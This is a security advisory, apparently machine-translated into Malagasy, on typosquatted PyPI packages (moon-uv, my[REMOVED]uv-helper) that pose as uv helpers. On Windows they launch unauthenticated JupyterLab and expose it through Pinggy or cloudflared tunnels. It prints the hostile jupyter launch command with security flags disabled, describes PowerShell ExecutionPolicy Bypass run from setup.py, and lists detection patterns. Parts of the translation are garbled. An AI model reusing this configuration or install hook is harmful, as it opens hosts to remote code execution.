TL, DR
Nisy andiana fonosana PyPI nindrana ny anaran'ny uv, ilay mpandrindra fonosana Python miorina amin'ny Rust haingam-pandeha sy malaza be, mba hiseho ho mpanampy uv. Saika tsy mandefa fiasa tena izy izy ireo. Ny entiny kosa dia entana Windows izay mijoro amin'ny Mpizara JupyterLab miaraka amin'ny fanamarinana maty ary, amin'ny dikan-teny taty aoriana, dia mamoaka izany amin'ny aterineto ho an'ny daholobe amin'ny alàlan'ny tonelina mivadika.
Izany no tantara manontolo ao anaty andalana iray: ny anaran'ny fitaovana azo itokisana ho toy ny lure, ary ny JupyterLab ho toy ny motera fanaraha-maso kaody lavitra. Ny mpizara Jupyter dia mampiasa izay kaody rehetra soratanao ao anaty kaody tsy misy...ebook sela; ny iray alefa miaraka amin'ny token foana ary mifamatotra amin'ny interface network rehetra dia misy mpandika teny misokatra izay azon'izay rehetra afaka mahatratra ny port ampiasaina.
Manara-maso ny cluster izahay toy ny FauxUVIreo fonosana roa nodinihina dia moon-uv (0.0.1-0.0.16) ary my-magic-uv-helper (0.0.1), navoakan'io mpandraharaha io ihany ary hita mivantana ao amin'ny PyPI tamin'ny fotoana nanaovana ny fanadihadiana.
| tontolo iainana | PyPI |
| Packages | moon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1) |
| Sehatra nokendrena | Windows |
| Fitondran-tena fototra | Mpizara JupyterLab tsy voamarina, navoaka tamin'ny aterineto tamin'ny alalan'ny tonelina mivadika |
| Fitaovana ara-dalàna no nampiasaina tamin'ny fomba ratsy | uv, JupyterLab, cloudflared, Pinggy |
Ny fandrika: anarana efa atokisanao
uv dia iray amin'ireo fitaovana Python napetraka indrindra tao anatin'ny roa taona farany, ka "mpanampy ho an'ny uv"dia fonosana iray napetraky ny mpamorona rindrambaiko tsy misy fisalasalana. Ny FauxUV dia mandany tanteraka ny fahatokisany amin'io anarana io. Ireo fonosana ireo dia mamatotra ny tena uv installer avy amin'ny Astral — ireo URL ao amin'ny payload point amin'ny mpampiantrano tena izy sy azo itokisana — ka raha jerena haingana dia tsy mahita afa-tsy referansa azo itokisana. Tsy misy amin'ireo fonosana tena manampy uv fiasa; ny anarana no endrika ivelany manontolo.
JupyterLab ho toy ny motera RCE
Ny ivon'ny entana dia mpandefa izay manomboka ny JupyterLab rehefa esorina ny arofanina rehetra:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive itManala fiarovana ny sainam-pirenena tsirairay, ary ny soratra nalefa dia manisy fanamarihana azy ireo mihitsy aza (amin'ny teny sinoa tany am-boalohany): ny marika foana "Manafoana ny fanamarinana tenimiafina sy famantarana — afaka mifandray ny rehetra." jupyter lab dia IDE siansa momba ny angon-drakitra ara-dalàna, saingy tsyebook Manatanteraka kaody tsy ara-dalàna araka ny famolavolana azy ny sela. Voalamina toy izao ary mifamatotra amin'ny 0.0.0.0, tsy IDE intsony izy io ary lasa shell lavitra tsy voamarina ao amin'ny host — tsy mila binary malware namboarina manokana, fa fitaovana mahazatra fotsiny no manondro amin'ny lalana diso.
Singa roa manohana no mahatonga izany ho azo tratrarina sy azo averina:
- Mpandrindra fametrahana mangina. Mampiasa PowerShell miaraka amin'ny -ExcementPolicy Bypass mivantana avy setup.py on pip install, ao ambadika miaraka amin'ny lesoka voafafa ka pip toa ara-dalàna. Ny dikan-teny taty aoriana dia mamindra ny primitive mitovy amin'izany ho ao anaty pip-uv fitaovana andalana baiko — ary esory tanteraka ny fandefasana mandeha ho azy ny fotoana fametrahana.
- Tonelina mivadika ho an'ny daholobe. Mpizara miasa 0.0.0.0 dia mbola azon'ireo mpampiantrano izay afaka mandefa any amin'ny milina ihany no tratrarina. Ny môdioly mifamatotra dia manokatra [Pinggy](https://pinggy.io/) Tonelina mivadika SSH izay mampita ny seranana Jupyter eo an-toerana mankany amin'ny adiresy ho an'ny daholobe, ka manala io fetra io. Ny script nalefa dia mitondra ihany koa — izay efa nohamarinina — lalana hafa mampiasa ny Cloudflare rahona mirehitra ary ny netsh port-proxy mankany amin'ny IP Linode, izay mirakitra ny tanjona mitovy amin'ny alàlan'ny fotodrafitrasa samihafa.
Amboary: apetraho ny fonosana, ary ny mpampiantrano Windows dia hampiasa JupyterLab tsy misy tenimiafina ary hamoaka izany amin'ny aterineto misokatra.
Ny fivoaran'ny FauxUV
Nalefa haingana dia haingana ireo dikan-tenin'ny FauxUV, ary nifindrafindra teo amin'izy ireo ny teboka fampahavitrihana ny entana — fampahatsiahivana fa mahalana vao mitantara ny tantaran'ny andian-entana iray ny dikan-teny misy marika iray.
Tsara homarihina fa ny fandefasana mandeha ho azy amin'ny fotoana fametrahana dia nesorina amin'ireo dikan-teny taty aoriana kokoa izay mahavita kokoa — ka scanner ampiasaina amin'ny tsingerim-piainana ihany hooks hanome isa ireo famoahana vaovao ho Kely kokoa mampidi-doza, mihemotra tanteraka.
Famantarana ny marimaritra iraisana
Nohamafisina tamin'ny famakiana ny loharanon'ny fonosana; marihina ireo teboka farany naneho hevitra dia hita ao amin'ireo rakitra saingy tsy tanterahin'ny dikan-teny nodinihina. Tsy voafaritra ny mari-pamantarana tambajotra.
Famantarana ara-pitondrantena mendrika hotadidina, tsy miankina amin'ireto tady ireto: a pip install izay miteraka powershell -ExecutionPolicy Bypass; na inona na inona jupyter fampiarahana fandefasana famantarana = "" amin'ny –ip=0.0.0.0; ary SSH mivoaka mankany *.pinggy.io avy amin'ny mpamorona rindrambaiko na milina CI.
Fitondran-tena sy fiaviana voamarika
Mizara mpanoratra sy fomba fiasa ireo fonosana roa ireo: anaran'ny fitaovana azo itokisana, vavahady ho an'ny Windows ihany, fampiharana ambadika voafehy amin'ny fahadisoana, ary fiankinan-doha amin'ny fitaovana azo itokisana ka ny fijerena haingana dia mahita URL azo itokisana ihany. Mitondra fanehoan-kevitra amin'ny teny sinoa mamaritra mazava tsara ireo saina mifandraika amin'ny fiarovana ny loharano; mitatitra izany ho toy ny fanambarana azo jerena ao amin'ny rakitra izahay, fa tsy ho toy ny fitakiana momba ny antony manosika. Ny allow_origin sandany sy ny colab.bat Ny anaran-drakitra dia mamerina ireo fomba fiasa tsy ara-potoana "share my local runtime" izay miely patrana ho an'ny Google Colab. Na inona na inona fiaviany, dia mitovy ny vokatra voafono.
Fiantraikany sy tari-dalana ho an'ny mpiaro
Iza no tratran'ny FauxUV. Ireo mpamorona Windows sy ireo mpihazakazaka CI izay pip install iray amin'ireto fonosana ireto. JupyterLab tsy misy tenimiafina amin'ny 0.0.0.0 dia fanatanterahana kaody lavitra ho an'izay rehetra afaka mahatratra ny seranana; ny tonelina dia manala ny fetran'ny "iza no afaka mahatratra izany". Miasa ho mpampiasa fametrahana ny mpizara, mandova ny rakitra, ny token ary ny fahazoan-dàlana rahona an'io mpampiasa io.
Nahoana no mora tsy hita izany. Ny tady tambajotra rehetra dia manondro mpampiantrano azo itokisana — Astral, JupyterLab, rahona mirehitra, Pinggy, Colab. Tsy misy malware binary azo tehirizina amin'ny hash ary tsy misy blob voasarona hovakiana. Samy tsy dia manome lanja loatra an'izany ny scanning miorina amin'ny laza sy ny sonia, izay no mahatonga ny fanontaniana momba ny fitondran-tena — Inona no ataon'ny milina rehefa mametraka ity fonosana ity? — no mahazo azy.
Tari-dalana:
- Karakarao izay fotoana fametrahana rehetra powershell -ExecutionPolicy Bypass ho toy ny famantarana manapaka ny fananganana, na inona na inona URL alainy.
- Alert on jupyter natomboka tamin'ny marika foana ary –ip=0.0.0.0; tsy tokony hiseho amin'ny toeram-piasana na mpihazakazaka mihitsy io fitambarana io.
- Araho maso ireo mpamatsy SSH mivoaka mankany amin'ny tonelina (*.pinggy.io, *.trycloudflare.com) avy amin'ny tontolo iainana mpamorona sy CI.
- hametraka uv avy amin'ny [loharano ofisialy](https://docs.astral.sh/uv/) ary miahiahy ireo fonosana "mpanampy" avy amin'ny antoko fahatelo izay mamono fitaovana efa mora apetraka.
- Ampidiro ary avereno jerena ny fiankinan-doha amin'ny fanavaozana — ny andiany fonosana dia afaka mampitombo fahaiza-manao vaovao isaky ny dikan-teny.
